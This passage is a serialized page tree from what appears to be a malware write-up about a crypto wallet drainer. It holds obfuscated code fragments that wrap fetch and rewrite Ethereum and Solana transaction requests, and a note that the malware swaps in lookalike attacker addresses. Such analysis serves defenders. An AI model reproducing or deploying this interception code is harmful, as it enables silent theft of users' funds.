originalResponse",{"type":23,"tag":134,"props":97221,"children":97222},{"style":168},[97223],{"type":28,"value":171},{"type":23,"tag":134,"props":97225,"children":97226},{"style":189},[97227],{"type":28,"value":35709},{"type":23,"tag":134,"props":97229,"children":97230},{"style":162},[97231],{"type":28,"value":97232}," originalFetch",{"type":23,"tag":134,"props":97234,"children":97235},{"style":179},[97236],{"type":28,"value":720},{"type":23,"tag":134,"props":97238,"children":97239},{"style":264},[97240],{"type":28,"value":37794},{"type":23,"tag":134,"props":97242,"children":97243},{"style":179},[97244],{"type":28,"value":272},{"type":23,"tag":134,"props":97246,"children":97247},{"style":151},[97248],{"type":28,"value":17166},{"type":23,"tag":134,"props":97250,"children":97251},{"style":179},[97252],{"type":28,"value":242},{"type":23,"tag":134,"props":97254,"children":97255},{"style":168},[97256],{"type":28,"value":9054},{"type":23,"tag":134,"props":97258,"children":97259},{"style":162},[97260],{"type":28,"value":37726},{"type":23,"tag":134,"props":97262,"children":97263},{"style":179},[97264],{"type":28,"value":1021},{"type":23,"tag":134,"props":97266,"children":97267},{"class":136,"line":185},[97268,97272,97277,97281,97285,97289,97294,97298,97302,97306,97311,97315,97319,97323],{"type":23,"tag":134,"props":97269,"children":97270},{"style":151},[97271],{"type":28,"value":35686},{"type":23,"tag":134,"props":97273,"children":97274},{"style":162},[97275],{"type":28,"value":97276}," contentType",{"type":23,"tag":134,"props":97278,"children":97279},{"style":168},[97280],{"type":28,"value":171},{"type":23,"tag":134,"props":97282,"children":97283},{"style":162},[97284],{"type":28,"value":97219},{"type":23,"tag":134,"props":97286,"children":97287},{"style":179},[97288],{"type":28,"value":720},{"type":23,"tag":134,"props":97290,"children":97291},{"style":162},[97292],{"type":28,"value":97293},"headers",{"type":23,"tag":134,"props":97295,"children":97296},{"style":179},[97297],{"type":28,"value":720},{"type":23,"tag":134,"props":97299,"children":97300},{"style":264},[97301],{"type":28,"value":15822},{"type":23,"tag":134,"props":97303,"children":97304},{"style":179},[97305],{"type":28,"value":272},{"type":23,"tag":134,"props":97307,"children":97308},{"style":1461},[97309],{"type":28,"value":97310},"'Content-Type'",{"type":23,"tag":134,"props":97312,"children":97313},{"style":179},[97314],{"type":28,"value":252},{"type":23,"tag":134,"props":97316,"children":97317},{"style":168},[97318],{"type":28,"value":21897},{"type":23,"tag":134,"props":97320,"children":97321},{"style":1461},[97322],{"type":28,"value":31334},{"type":23,"tag":134,"props":97324,"children":97325},{"style":179},[97326],{"type":28,"value":182},{"type":23,"tag":134,"props":97328,"children":97329},{"class":136,"line":221},[97330,97334,97338],{"type":23,"tag":134,"props":97331,"children":97332},{"style":151},[97333],{"type":28,"value":7314},{"type":23,"tag":134,"props":97335,"children":97336},{"style":162},[97337],{"type":28,"value":14573},{"type":23,"tag":134,"props":97339,"children":97340},{"style":179},[97341],{"type":28,"value":182},{"type":23,"tag":134,"props":97343,"children":97344},{"class":136,"line":332},[97345,97349,97353,97358,97362,97366,97370,97375],{"type":23,"tag":134,"props":97346,"children":97347},{"style":189},[97348],{"type":28,"value":30889},{"type":23,"tag":134,"props":97350,"children":97351},{"style":179},[97352],{"type":28,"value":232},{"type":23,"tag":134,"props":97354,"children":97355},{"style":162},[97356],{"type":28,"value":97357},"contentType",{"type":23,"tag":134,"props":97359,"children":97360},{"style":179},[97361],{"type":28,"value":720},{"type":23,"tag":134,"props":97363,"children":97364},{"style":264},[97365],{"type":28,"value":34678},{"type":23,"tag":134,"props":97367,"children":97368},{"style":179},[97369],{"type":28,"value":272},{"type":23,"tag":134,"props":97371,"children":97372},{"style":1461},[97373],{"type":28,"value":97374},"'application/json'",{"type":23,"tag":134,"props":97376,"children":97377},{"style":179},[97378],{"type":28,"value":34691},{"type":23,"tag":134,"props":97380,"children":97381},{"class":136,"line":438},[97382,97386,97390,97394,97398,97402,97406,97410,97414],{"type":23,"tag":134,"props":97383,"children":97384},{"style":162},[97385],{"type":28,"value":42732},{"type":23,"tag":134,"props":97387,"children":97388},{"style":168},[97389],{"type":28,"value":171},{"type":23,"tag":134,"props":97391,"children":97392},{"style":189},[97393],{"type":28,"value":35709},{"type":23,"tag":134,"props":97395,"children":97396},{"style":162},[97397],{"type":28,"value":97219},{"type":23,"tag":134,"props":97399,"children":97400},{"style":179},[97401],{"type":28,"value":720},{"type":23,"tag":134,"props":97403,"children":97404},{"style":264},[97405],{"type":28,"value":14889},{"type":23,"tag":134,"props":97407,"children":97408},{"style":179},[97409],{"type":28,"value":29662},{"type":23,"tag":134,"props":97411,"children":97412},{"style":264},[97413],{"type":28,"value":33494},{"type":23,"tag":134,"props":97415,"children":97416},{"style":179},[97417],{"type":28,"value":856},{"type":23,"tag":134,"props":97419,"children":97420},{"class":136,"line":466},[97421,97425,97429],{"type":23,"tag":134,"props":97422,"children":97423},{"style":179},[97424],{"type":28,"value":30963},{"type":23,"tag":134,"props":97426,"children":97427},{"style":189},[97428],{"type":28,"value":490},{"type":23,"tag":134,"props":97430,"children":97431},{"style":179},[97432],{"type":28,"value":463},{"type":23,"tag":134,"props":97434,"children":97435},{"class":136,"line":479},[97436,97440,97444,97448,97452,97456,97460,97464,97468],{"type":23,"tag":134,"props":97437,"children":97438},{"style":162},[97439],{"type":28,"value":42732},{"type":23,"tag":134,"props":97441,"children":97442},{"style":168},[97443],{"type":28,"value":171},{"type":23,"tag":134,"props":97445,"children":97446},{"style":189},[97447],{"type":28,"value":35709},{"type":23,"tag":134,"props":97449,"children":97450},{"style":162},[97451],{"type":28,"value":97219},{"type":23,"tag":134,"props":97453,"children":97454},{"style":179},[97455],{"type":28,"value":720},{"type":23,"tag":134,"props":97457,"children":97458},{"style":264},[97459],{"type":28,"value":14889},{"type":23,"tag":134,"props":97461,"children":97462},{"style":179},[97463],{"type":28,"value":29662},{"type":23,"tag":134,"props":97465,"children":97466},{"style":264},[97467],{"type":28,"value":28},{"type":23,"tag":134,"props":97469,"children":97470},{"style":179},[97471],{"type":28,"value":856},{"type":23,"tag":134,"props":97473,"children":97474},{"class":136,"line":497},[97475],{"type":23,"tag":134,"props":97476,"children":97477},{"style":179},[97478],{"type":28,"value":5328},{"type":23,"tag":134,"props":97480,"children":97481},{"class":136,"line":518},[97482,97486,97491,97495,97500,97504,97508],{"type":23,"tag":134,"props":97483,"children":97484},{"style":151},[97485],{"type":28,"value":35686},{"type":23,"tag":134,"props":97487,"children":97488},{"style":162},[97489],{"type":28,"value":97490}," processedData",{"type":23,"tag":134,"props":97492,"children":97493},{"style":168},[97494],{"type":28,"value":171},{"type":23,"tag":134,"props":97496,"children":97497},{"style":264},[97498],{"type":28,"value":97499}," replaceAddresses",{"type":23,"tag":134,"props":97501,"children":97502},{"style":179},[97503],{"type":28,"value":272},{"type":23,"tag":134,"props":97505,"children":97506},{"style":162},[97507],{"type":28,"value":892},{"type":23,"tag":134,"props":97509,"children":97510},{"style":179},[97511],{"type":28,"value":1021},{"type":23,"tag":134,"props":97513,"children":97514},{"class":136,"line":527},[97515,97519,97524],{"type":23,"tag":134,"props":97516,"children":97517},{"style":151},[97518],{"type":28,"value":35686},{"type":23,"tag":134,"props":97520,"children":97521},{"style":162},[97522],{"type":28,"value":97523}," finalResponseText",{"type":23,"tag":134,"props":97525,"children":97526},{"style":168},[97527],{"type":28,"value":35353},{"type":23,"tag":134,"props":97529,"children":97530},{"class":136,"line":780},[97531,97536,97540,97544,97549,97554,97558,97562,97566,97570,97574,97578,97583],{"type":23,"tag":134,"props":97532,"children":97533},{"style":151},[97534],{"type":28,"value":97535},"    typeof",{"type":23,"tag":134,"props":97537,"children":97538},{"style":162},[97539],{"type":28,"value":97490},{"type":23,"tag":134,"props":97541,"children":97542},{"style":168},[97543],{"type":28,"value":30917},{"type":23,"tag":134,"props":97545,"children":97546},{"style":1461},[97547],{"type":28,"value":97548}," 'string'",{"type":23,"tag":134,"props":97550,"children":97551},{"style":168},[97552],{"type":28,"value":97553}," ?",{"type":23,"tag":134,"props":97555,"children":97556},{"style":162},[97557],{"type":28,"value":97490},{"type":23,"tag":134,"props":97559,"children":97560},{"style":168},[97561],{"type":28,"value":34613},{"type":23,"tag":134,"props":97563,"children":97564},{"style":162},[97565],{"type":28,"value":37026},{"type":23,"tag":134,"props":97567,"children":97568},{"style":179},[97569],{"type":28,"value":720},{"type":23,"tag":134,"props":97571,"children":97572},{"style":264},[97573],{"type":28,"value":38731},{"type":23,"tag":134,"props":97575,"children":97576},{"style":179},[97577],{"type":28,"value":272},{"type":23,"tag":134,"props":97579,"children":97580},{"style":162},[97581],{"type":28,"value":97582},"processedData",{"type":23,"tag":134,"props":97584,"children":97585},{"style":179},[97586],{"type":28,"value":1021},{"type":23,"tag":134,"props":97588,"children":97589},{"class":136,"line":797},[97590,97594,97599,97603,97607,97612,97616,97621],{"type":23,"tag":134,"props":97591,"children":97592},{"style":151},[97593],{"type":28,"value":35686},{"type":23,"tag":134,"props":97595,"children":97596},{"style":162},[97597],{"type":28,"value":97598}," finalResponse",{"type":23,"tag":134,"props":97600,"children":97601},{"style":168},[97602],{"type":28,"value":171},{"type":23,"tag":134,"props":97604,"children":97605},{"style":151},[97606],{"type":28,"value":31428},{"type":23,"tag":134,"props":97608,"children":97609},{"style":264},[97610],{"type":28,"value":97611}," Response",{"type":23,"tag":134,"props":97613,"children":97614},{"style":179},[97615],{"type":28,"value":272},{"type":23,"tag":134,"props":97617,"children":97618},{"style":162},[97619],{"type":28,"value":97620},"finalResponseText",{"type":23,"tag":134,"props":97622,"children":97623},{"style":179},[97624],{"type":28,"value":48387},{"type":23,"tag":134,"props":97626,"children":97627},{"class":136,"line":814},[97628,97633,97637,97641,97646],{"type":23,"tag":134,"props":97629,"children":97630},{"style":162},[97631],{"type":28,"value":97632},"    status:",{"type":23,"tag":134,"props":97634,"children":97635},{"style":162},[97636],{"type":28,"value":97219},{"type":23,"tag":134,"props":97638,"children":97639},{"style":179},[97640],{"type":28,"value":720},{"type":23,"tag":134,"props":97642,"children":97643},{"style":162},[97644],{"type":28,"value":97645},"status",{"type":23,"tag":134,"props":97647,"children":97648},{"style":179},[97649],{"type":28,"value":687},{"type":23,"tag":134,"props":97651,"children":97652},{"class":136,"line":827},[97653,97658,97662,97666,97671],{"type":23,"tag":134,"props":97654,"children":97655},{"style":162},[97656],{"type":28,"value":97657},"    statusText:",{"type":23,"tag":134,"props":97659,"children":97660},{"style":162},[97661],{"type":28,"value":97219},{"type":23,"tag":134,"props":97663,"children":97664},{"style":179},[97665],{"type":28,"value":720},{"type":23,"tag":134,"props":97667,"children":97668},{"style":162},[97669],{"type":28,"value":97670},"statusText",{"type":23,"tag":134,"props":97672,"children":97673},{"style":179},[97674],{"type":28,"value":687},{"type":23,"tag":134,"props":97676,"children":97677},{"class":136,"line":836},[97678,97683,97687,97691,97695],{"type":23,"tag":134,"props":97679,"children":97680},{"style":162},[97681],{"type":28,"value":97682},"    headers:",{"type":23,"tag":134,"props":97684,"children":97685},{"style":162},[97686],{"type":28,"value":97219},{"type":23,"tag":134,"props":97688,"children":97689},{"style":179},[97690],{"type":28,"value":720},{"type":23,"tag":134,"props":97692,"children":97693},{"style":162},[97694],{"type":28,"value":97293},{"type":23,"tag":134,"props":97696,"children":97697},{"style":179},[97698],{"type":28,"value":687},{"type":23,"tag":134,"props":97700,"children":97701},{"class":136,"line":859},[97702],{"type":23,"tag":134,"props":97703,"children":97704},{"style":179},[97705],{"type":28,"value":97706},"  });\n",{"type":23,"tag":134,"props":97708,"children":97709},{"class":136,"line":868},[97710,97714,97718],{"type":23,"tag":134,"props":97711,"children":97712},{"style":189},[97713],{"type":28,"value":38697},{"type":23,"tag":134,"props":97715,"children":97716},{"style":162},[97717],{"type":28,"value":97598},{"type":23,"tag":134,"props":97719,"children":97720},{"style":179},[97721],{"type":28,"value":182},{"type":23,"tag":134,"props":97723,"children":97724},{"class":136,"line":877},[97725],{"type":23,"tag":134,"props":97726,"children":97727},{"style":179},[97728],{"type":28,"value":16048},{"type":23,"tag":4890,"props":97730,"children":97731},{"start":185},[97732],{"type":23,"tag":4894,"props":97733,"children":97734},{},[97735],{"type":28,"value":97736},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":23,"tag":87,"props":97738,"children":97740},{"code":97739,"language":30860,"meta":7,"className":30858,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[97741],{"type":23,"tag":92,"props":97742,"children":97743},{"__ignoreMap":7},[97744,97823,97834,97891,97931,97956,97971,97982,98016,98049,98068,98095,98103,98114,98154,98183,98211,98218,98258,98301,98345,98360,98399,98406,98430,98437],{"type":23,"tag":134,"props":97745,"children":97746},{"class":136,"line":137},[97747,97751,97755,97760,97764,97768,97772,97777,97781,97786,97790,97795,97799,97803,97807,97811,97815,97819],{"type":23,"tag":134,"props":97748,"children":97749},{"style":189},[97750],{"type":28,"value":15049},{"type":23,"tag":134,"props":97752,"children":97753},{"style":179},[97754],{"type":28,"value":232},{"type":23,"tag":134,"props":97756,"children":97757},{"style":162},[97758],{"type":28,"value":97759},"_0x2c3d7e",{"type":23,"tag":134,"props":97761,"children":97762},{"style":179},[97763],{"type":28,"value":720},{"type":23,"tag":134,"props":97765,"children":97766},{"style":162},[97767],{"type":28,"value":37811},{"type":23,"tag":134,"props":97769,"children":97770},{"style":168},[97771],{"type":28,"value":30917},{"type":23,"tag":134,"props":97773,"children":97774},{"style":1461},[97775],{"type":28,"value":97776}," 'eth_sendTransaction'",{"type":23,"tag":134,"props":97778,"children":97779},{"style":168},[97780],{"type":28,"value":13653},{"type":23,"tag":134,"props":97782,"children":97783},{"style":162},[97784],{"type":28,"value":97785}," _0x2c3d7e",{"type":23,"tag":134,"props":97787,"children":97788},{"style":179},[97789],{"type":28,"value":720},{"type":23,"tag":134,"props":97791,"children":97792},{"style":162},[97793],{"type":28,"value":97794},"params",{"type":23,"tag":134,"props":97796,"children":97797},{"style":168},[97798],{"type":28,"value":13653},{"type":23,"tag":134,"props":97800,"children":97801},{"style":162},[97802],{"type":28,"value":97785},{"type":23,"tag":134,"props":97804,"children":97805},{"style":179},[97806],{"type":28,"value":720},{"type":23,"tag":134,"props":97808,"children":97809},{"style":162},[97810],{"type":28,"value":97794},{"type":23,"tag":134,"props":97812,"children":97813},{"style":179},[97814],{"type":28,"value":924},{"type":23,"tag":134,"props":97816,"children":97817},{"style":205},[97818],{"type":28,"value":1224},{"type":23,"tag":134,"props":97820,"children":97821},{"style":179},[97822],{"type":28,"value":40123},{"type":23,"tag":134,"props":97824,"children":97825},{"class":136,"line":147},[97826,97830],{"type":23,"tag":134,"props":97827,"children":97828},{"style":189},[97829],{"type":28,"value":96862},{"type":23,"tag":134,"props":97831,"children":97832},{"style":179},[97833],{"type":28,"value":463},{"type":23,"tag":134,"props":97835,"children":97836},{"class":136,"line":185},[97837,97841,97846,97850,97855,97859,97863,97867,97871,97875,97879,97883,97887],{"type":23,"tag":134,"props":97838,"children":97839},{"style":151},[97840],{"type":28,"value":51174},{"type":23,"tag":134,"props":97842,"children":97843},{"style":162},[97844],{"type":28,"value":97845}," _0x39ad21",{"type":23,"tag":134,"props":97847,"children":97848},{"style":168},[97849],{"type":28,"value":171},{"type":23,"tag":134,"props":97851,"children":97852},{"style":264},[97853],{"type":28,"value":97854}," _0x1089ae",{"type":23,"tag":134,"props":97856,"children":97857},{"style":179},[97858],{"type":28,"value":272},{"type":23,"tag":134,"props":97860,"children":97861},{"style":162},[97862],{"type":28,"value":97759},{"type":23,"tag":134,"props":97864,"children":97865},{"style":179},[97866],{"type":28,"value":720},{"type":23,"tag":134,"props":97868,"children":97869},{"style":162},[97870],{"type":28,"value":97794},{"type":23,"tag":134,"props":97872,"children":97873},{"style":179},[97874],{"type":28,"value":924},{"type":23,"tag":134,"props":97876,"children":97877},{"style":205},[97878],{"type":28,"value":1224},{"type":23,"tag":134,"props":97880,"children":97881},{"style":179},[97882],{"type":28,"value":22539},{"type":23,"tag":134,"props":97884,"children":97885},{"style":151},[97886],{"type":28,"value":1195},{"type":23,"tag":134,"props":97888,"children":97889},{"style":179},[97890],{"type":28,"value":1021},{"type":23,"tag":134,"props":97892,"children":97893},{"class":136,"line":221},[97894,97899,97903,97907,97911,97915,97919,97923,97927],{"type":23,"tag":134,"props":97895,"children":97896},{"style":162},[97897],{"type":28,"value":97898},"    _0x2c3d7e",{"type":23,"tag":134,"props":97900,"children":97901},{"style":179},[97902],{"type":28,"value":720},{"type":23,"tag":134,"props":97904,"children":97905},{"style":162},[97906],{"type":28,"value":97794},{"type":23,"tag":134,"props":97908,"children":97909},{"style":179},[97910],{"type":28,"value":924},{"type":23,"tag":134,"props":97912,"children":97913},{"style":205},[97914],{"type":28,"value":1224},{"type":23,"tag":134,"props":97916,"children":97917},{"style":179},[97918],{"type":28,"value":8121},{"type":23,"tag":134,"props":97920,"children":97921},{"style":168},[97922],{"type":28,"value":257},{"type":23,"tag":134,"props":97924,"children":97925},{"style":162},[97926],{"type":28,"value":97845},{"type":23,"tag":134,"props":97928,"children":97929},{"style":179},[97930],{"type":28,"value":182},{"type":23,"tag":134,"props":97932,"children":97933},{"class":136,"line":332},[97934,97938,97942,97946,97951],{"type":23,"tag":134,"props":97935,"children":97936},{"style":179},[97937],{"type":28,"value":30963},{"type":23,"tag":134,"props":97939,"children":97940},{"style":189},[97941],{"type":28,"value":47916},{"type":23,"tag":134,"props":97943,"children":97944},{"style":179},[97945],{"type":28,"value":232},{"type":23,"tag":134,"props":97947,"children":97948},{"style":162},[97949],{"type":28,"value":97950},"_0x226343",{"type":23,"tag":134,"props":97952,"children":97953},{"style":179},[97954],{"type":28,"value":97955},") {}\n",{"type":23,"tag":134,"props":97957,"children":97958},{"class":136,"line":438},[97959,97963,97967],{"type":23,"tag":134,"props":97960,"children":97961},{"style":179},[97962],{"type":28,"value":46378},{"type":23,"tag":134,"props":97964,"children":97965},{"style":189},[97966],{"type":28,"value":490},{"type":23,"tag":134,"props":97968,"children":97969},{"style":179},[97970],{"type":28,"value":463},{"type":23,"tag":134,"props":97972,"children":97973},{"class":136,"line":466},[97974,97978],{"type":23,"tag":134,"props":97975,"children":97976},{"style":189},[97977],{"type":28,"value":30889},{"type":23,"tag":134,"props":97979,"children":97980},{"style":179},[97981],{"type":28,"value":78078},{"type":23,"tag":134,"props":97983,"children":97984},{"class":136,"line":479},[97985,97990,97994,97998,98002,98006,98011],{"type":23,"tag":134,"props":97986,"children":97987},{"style":179},[97988],{"type":28,"value":97989},"    (",{"type":23,"tag":134,"props":97991,"children":97992},{"style":162},[97993],{"type":28,"value":97759},{"type":23,"tag":134,"props":97995,"children":97996},{"style":179},[97997],{"type":28,"value":720},{"type":23,"tag":134,"props":97999,"children":98000},{"style":162},[98001],{"type":28,"value":37811},{"type":23,"tag":134,"props":98003,"children":98004},{"style":168},[98005],{"type":28,"value":30917},{"type":23,"tag":134,"props":98007,"children":98008},{"style":1461},[98009],{"type":28,"value":98010}," 'solana_signTransaction'",{"type":23,"tag":134,"props":98012,"children":98013},{"style":168},[98014],{"type":28,"value":98015}," ||\n",{"type":23,"tag":134,"props":98017,"children":98018},{"class":136,"line":497},[98019,98024,98028,98032,98036,98041,98045],{"type":23,"tag":134,"props":98020,"children":98021},{"style":162},[98022],{"type":28,"value":98023},"      _0x2c3d7e",{"type":23,"tag":134,"props":98025,"children":98026},{"style":179},[98027],{"type":28,"value":720},{"type":23,"tag":134,"props":98029,"children":98030},{"style":162},[98031],{"type":28,"value":37811},{"type":23,"tag":134,"props":98033,"children":98034},{"style":168},[98035],{"type":28,"value":30917},{"type":23,"tag":134,"props":98037,"children":98038},{"style":1461},[98039],{"type":28,"value":98040}," 'solana_signAndSendTransaction'",{"type":23,"tag":134,"props":98042,"children":98043},{"style":179},[98044],{"type":28,"value":252},{"type":23,"tag":134,"props":98046,"children":98047},{"style":168},[98048],{"type":28,"value":83327},{"type":23,"tag":134,"props":98050,"children":98051},{"class":136,"line":518},[98052,98056,98060,98064],{"type":23,"tag":134,"props":98053,"children":98054},{"style":162},[98055],{"type":28,"value":97898},{"type":23,"tag":134,"props":98057,"children":98058},{"style":179},[98059],{"type":28,"value":720},{"type":23,"tag":134,"props":98061,"children":98062},{"style":162},[98063],{"type":28,"value":97794},{"type":23,"tag":134,"props":98065,"children":98066},{"style":168},[98067],{"type":28,"value":52190},{"type":23,"tag":134,"props":98069,"children":98070},{"class":136,"line":527},[98071,98075,98079,98083,98087,98091],{"type":23,"tag":134,"props":98072,"children":98073},{"style":162},[98074],{"type":28,"value":97898},{"type":23,"tag":134,"props":98076,"children":98077},{"style":179},[98078],{"type":28,"value":720},{"type":23,"tag":134,"props":98080,"children":98081},{"style":162},[98082],{"type":28,"value":97794},{"type":23,"tag":134,"props":98084,"children":98085},{"style":179},[98086],{"type":28,"value":924},{"type":23,"tag":134,"props":98088,"children":98089},{"style":205},[98090],{"type":28,"value":1224},{"type":23,"tag":134,"props":98092,"children":98093},{"style":179},[98094],{"type":28,"value":11239},{"type":23,"tag":134,"props":98096,"children":98097},{"class":136,"line":780},[98098],{"type":23,"tag":134,"props":98099,"children":98100},{"style":179},[98101],{"type":28,"value":98102},"  ) {\n",{"type":23,"tag":134,"props":98104,"children":98105},{"class":136,"line":797},[98106,98110],{"type":23,"tag":134,"props":98107,"children":98108},{"style":189},[98109],{"type":28,"value":69492},{"type":23,"tag":134,"props":98111,"children":98112},{"style":179},[98113],{"type":28,"value":463},{"type":23,"tag":134,"props":98115,"children":98116},{"class":136,"line":814},[98117,98121,98126,98130,98134,98138,98142,98146,98150],{"type":23,"tag":134,"props":98118,"children":98119},{"style":151},[98120],{"type":28,"value":7534},{"type":23,"tag":134,"props":98122,"children":98123},{"style":162},[98124],{"type":28,"value":98125}," _0x5ad975",{"type":23,"tag":134,"props":98127,"children":98128},{"style":168},[98129],{"type":28,"value":171},{"type":23,"tag":134,"props":98131,"children":98132},{"style":162},[98133],{"type":28,"value":97785},{"type":23,"tag":134,"props":98135,"children":98136},{"style":179},[98137],{"type":28,"value":720},{"type":23,"tag":134,"props":98139,"children":98140},{"style":162},[98141],{"type":28,"value":97794},{"type":23,"tag":134,"props":98143,"children":98144},{"style":179},[98145],{"type":28,"value":924},{"type":23,"tag":134,"props":98147,"children":98148},{"style":205},[98149],{"type":28,"value":1224},{"type":23,"tag":134,"props":98151,"children":98152},{"style":179},[98153],{"type":28,"value":31069},{"type":23,"tag":134,"props":98155,"children":98156},{"class":136,"line":827},[98157,98161,98165,98170,98174,98179],{"type":23,"tag":134,"props":98158,"children":98159},{"style":189},[98160],{"type":28,"value":38785},{"type":23,"tag":134,"props":98162,"children":98163},{"style":179},[98164],{"type":28,"value":232},{"type":23,"tag":134,"props":98166,"children":98167},{"style":162},[98168],{"type":28,"value":98169},"_0x5ad975",{"type":23,"tag":134,"props":98171,"children":98172},{"style":179},[98173],{"type":28,"value":720},{"type":23,"tag":134,"props":98175,"children":98176},{"style":162},[98177],{"type":28,"value":98178},"transaction",{"type":23,"tag":134,"props":98180,"children":98181},{"style":179},[98182],{"type":28,"value":14272},{"type":23,"tag":134,"props":98184,"children":98185},{"class":136,"line":836},[98186,98191,98195,98199,98203,98207],{"type":23,"tag":134,"props":98187,"children":98188},{"style":162},[98189],{"type":28,"value":98190},"        _0x5ad975",{"type":23,"tag":134,"props":98192,"children":98193},{"style":168},[98194],{"type":28,"value":171},{"type":23,"tag":134,"props":98196,"children":98197},{"style":162},[98198],{"type":28,"value":98125},{"type":23,"tag":134,"props":98200,"children":98201},{"style":179},[98202],{"type":28,"value":720},{"type":23,"tag":134,"props":98204,"children":98205},{"style":162},[98206],{"type":28,"value":98178},{"type":23,"tag":134,"props":98208,"children":98209},{"style":179},[98210],{"type":28,"value":182},{"type":23,"tag":134,"props":98212,"children":98213},{"class":136,"line":859},[98214],{"type":23,"tag":134,"props":98215,"children":98216},{"style":179},[98217],{"type":28,"value":12131},{"type":23,"tag":134,"props":98219,"children":98220},{"class":136,"line":868},[98221,98225,98230,98234,98238,98242,98246,98250,98254],{"type":23,"tag":134,"props":98222,"children":98223},{"style":151},[98224],{"type":28,"value":31042},{"type":23,"tag":134,"props":98226,"children":98227},{"style":162},[98228],{"type":28,"value":98229}," _0x5dbe63",{"type":23,"tag":134,"props":98231,"children":98232},{"style":168},[98233],{"type":28,"value":171},{"type":23,"tag":134,"props":98235,"children":98236},{"style":264},[98237],{"type":28,"value":97854},{"type":23,"tag":134,"props":98239,"children":98240},{"style":179},[98241],{"type":28,"value":272},{"type":23,"tag":134,"props":98243,"children":98244},{"style":162},[98245],{"type":28,"value":98169},{"type":23,"tag":134,"props":98247,"children":98248},{"style":179},[98249],{"type":28,"value":242},{"type":23,"tag":134,"props":98251,"children":98252},{"style":151},[98253],{"type":28,"value":7634},{"type":23,"tag":134,"props":98255,"children":98256},{"style":179},[98257],{"type":28,"value":1021},{"type":23,"tag":134,"props":98259,"children":98260},{"class":136,"line":877},[98261,98265,98269,98273,98277,98281,98285,98289,98293,98297],{"type":23,"tag":134,"props":98262,"children":98263},{"style":189},[98264],{"type":28,"value":38785},{"type":23,"tag":134,"props":98266,"children":98267},{"style":179},[98268],{"type":28,"value":232},{"type":23,"tag":134,"props":98270,"children":98271},{"style":162},[98272],{"type":28,"value":97759},{"type":23,"tag":134,"props":98274,"children":98275},{"style":179},[98276],{"type":28,"value":720},{"type":23,"tag":134,"props":98278,"children":98279},{"style":162},[98280],{"type":28,"value":97794},{"type":23,"tag":134,"props":98282,"children":98283},{"style":179},[98284],{"type":28,"value":924},{"type":23,"tag":134,"props":98286,"children":98287},{"style":205},[98288],{"type":28,"value":1224},{"type":23,"tag":134,"props":98290,"children":98291},{"style":179},[98292],{"type":28,"value":49854},{"type":23,"tag":134,"props":98294,"children":98295},{"style":162},[98296],{"type":28,"value":98178},{"type":23,"tag":134,"props":98298,"children":98299},{"style":179},[98300],{"type":28,"value":14272},{"type":23,"tag":134,"props":98302,"children":98303},{"class":136,"line":946},[98304,98309,98313,98317,98321,98325,98329,98333,98337,98341],{"type":23,"tag":134,"props":98305,"children":98306},{"style":162},[98307],{"type":28,"value":98308},"        _0x2c3d7e",{"type":23,"tag":134,"props":98310,"children":98311},{"style":179},[98312],{"type":28,"value":720},{"type":23,"tag":134,"props":98314,"children":98315},{"style":162},[98316],{"type":28,"value":97794},{"type":23,"tag":134,"props":98318,"children":98319},{"style":179},[98320],{"type":28,"value":924},{"type":23,"tag":134,"props":98322,"children":98323},{"style":205},[98324],{"type":28,"value":1224},{"type":23,"tag":134,"props":98326,"children":98327},{"style":179},[98328],{"type":28,"value":49854},{"type":23,"tag":134,"props":98330,"children":98331},{"style":162},[98332],{"type":28,"value":98178},{"type":23,"tag":134,"props":98334,"children":98335},{"style":168},[98336],{"type":28,"value":171},{"type":23,"tag":134,"props":98338,"children":98339},{"style":162},[98340],{"type":28,"value":98229},{"type":23,"tag":134,"props":98342,"children":98343},{"style":179},[98344],{"type":28,"value":182},{"type":23,"tag":134,"props":98346,"children":98347},{"class":136,"line":954},[98348,98352,98356],{"type":23,"tag":134,"props":98349,"children":98350},{"style":179},[98351],{"type":28,"value":38438},{"type":23,"tag":134,"props":98353,"children":98354},{"style":189},[98355],{"type":28,"value":490},{"type":23,"tag":134,"props":98357,"children":98358},{"style":179},[98359],{"type":28,"value":463},{"type":23,"tag":134,"props":98361,"children":98362},{"class":136,"line":984},[98363,98367,98371,98375,98379,98383,98387,98391,98395],{"type":23,"tag":134,"props":98364,"children":98365},{"style":162},[98366],{"type":28,"value":98308},{"type":23,"tag":134,"props":98368,"children":98369},{"style":179},[98370],{"type":28,"value":720},{"type":23,"tag":134,"props":98372,"children":98373},{"style":162},[98374],{"type":28,"value":97794},{"type":23,"tag":134,"props":98376,"children":98377},{"style":179},[98378],{"type":28,"value":924},{"type":23,"tag":134,"props":98380,"children":98381},{"style":205},[98382],{"type":28,"value":1224},{"type":23,"tag":134,"props":98384,"children":98385},{"style":179},[98386],{"type":28,"value":8121},{"type":23,"tag":134,"props":98388,"children":98389},{"style":168},[98390],{"type":28,"value":257},{"type":23,"tag":134,"props":98392,"children":98393},{"style":162},[98394],{"type":28,"value":98229},{"type":23,"tag":134,"props":98396,"children":98397},{"style":179},[98398],{"type":28,"value":182},{"type":23,"tag":134,"props":98400,"children":98401},{"class":136,"line":992},[98402],{"type":23,"tag":134,"props":98403,"children":98404},{"style":179},[98405],{"type":28,"value":12131},{"type":23,"tag":134,"props":98407,"children":98408},{"class":136,"line":1024},[98409,98413,98417,98421,98426],{"type":23,"tag":134,"props":98410,"children":98411},{"style":179},[98412],{"type":28,"value":15249},{"type":23,"tag":134,"props":98414,"children":98415},{"style":189},[98416],{"type":28,"value":47916},{"type":23,"tag":134,"props":98418,"children":98419},{"style"